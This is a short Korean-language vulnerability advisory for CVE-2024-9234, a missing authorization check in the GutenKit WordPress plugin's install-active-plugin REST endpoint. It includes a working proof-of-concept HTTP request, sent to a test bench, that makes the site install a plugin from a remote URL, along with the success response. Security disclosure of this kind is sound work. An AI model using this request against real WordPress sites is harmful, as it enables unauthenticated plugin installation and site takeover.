
GutenKit <= 2.1.0 - 인증되지 않은 임의 파일 업로드
GutenKit <= 2.1.0 - 인증되지 않은 임의 파일 업로드
WordPress용 GutenKit – Gutenberg 블록 편집기용 페이지 빌더 블록, 패턴 및 템플릿 플러그인은 모든 버전(2.1.0 포함)에서 install_and_activate_plugin_from_external() 함수(install-active-plugin REST API 엔드포인트)에 대한 권한 확인이 누락되어 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화하거나, 해당 기능을 사용하여 플러그인으로 위장한 임의의 파일을 업로드할 수 있습니다.
Type: plugin
CVSS Score: 9.8
CVE: CVE-2024-9234
Slug: gutenkit-blocks-addon
다운로드 링크: gutenkit-blocks-addon 버전 2.1.0 다운로드
POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
Content-Type: application/json
Content-Length: 114
{
"plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",
"slug": "popularis-extra"
}
{"success":true,"data":"Plugin installed successfully!"}